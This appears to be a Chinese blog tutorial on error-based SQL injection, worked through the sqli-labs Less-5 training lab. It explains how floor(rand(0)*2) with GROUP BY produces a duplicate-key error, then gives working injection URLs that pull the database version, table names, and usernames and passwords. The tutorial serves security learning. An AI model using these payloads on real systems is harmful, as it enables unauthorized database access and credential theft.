报错注入原理
报错注入形式上是两个嵌套的查询,即select…(select…),里面的select被称为子查询,它的执行顺序也是先执行子查询,然后再执行外面的select,双注入主要涉及到几个sql函数:
rand()随机函数,返回0~1之间的某个值
floor(a)取整函数,返回小于等于a,且最接近于a的一个整数
count()聚合函数也称作计数函数,返回查询对象的总数
group by clause分组语句,按照查询结果分组
通过报错来显示具体的信息。以sqli-labs-Less5为例:
键入id后:加个反斜杠后:
分析可知这是自带一个单引号注入
接着我们闭合单引号并进行联合查询(union select 1, 2, 3)依旧无法获得显示位
那怎样才能看到报错信息?
这里介绍一下floor(rand(0)*2)
查询的时使用rand(),该值会被执行多次。在使用group by时,floor(rand(0)*2)会被执行一次,如果虚表不存在记录,在插入虚表的时候会再被执行一次。在一次多记录的查询过程中 floor(rand(0)*2)的值是固定的,为011011
select count(*) from table group by floor(rand(0)*2);
当为第一个数字0时不进行插入虚表;
当为第二个数字1时插入虚表,插入后key值为1,count(*)为1;
当为第三个数字1时插入虚表,插入后key值为1,因为前面一个1已经插入虚表所以这个1不再在虚表中添加一行,但1对应的 count()加1;
当为第四个数字0时,因为虚表中没有对应的记录,所以会重新建立虚表,然后重复上面的操作。
所以看似操作了5次,但其实只要前三次就可以卡出来了。
回显
1.获取数据库
http://127.0.0.1/sqli/Less-5//?id=0' union select 1,2,3 from(select count(*),concat((select concat(version(),0x3a,0x3a,database(),0x3a,0x3a,user(),0x3a) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+
2.获取表名
http://127.0.0.1/sqli/Less-5//?id=0' union select 1,2,3 from(select count(*),concat((select concat(table_name,0x3a,0x3a)from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+
3.获取用户信息
http://127.0.0.1/sqli/Less-5//?id=0' union select 1,2,3 from(select count(*),concat((select concat(username, 0x3a,0x3a,password,0x3a,0x3a) from security.users limit 5,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+
Less-6是一样的,把单引号改为双引号。
图片来源于本人CSDN博客
https://blog.csdn.net/qq_51761376/article/details/113996496?spm=1001.2014.3001.5501
欢迎大家访问,有错误也请留言,感谢各位!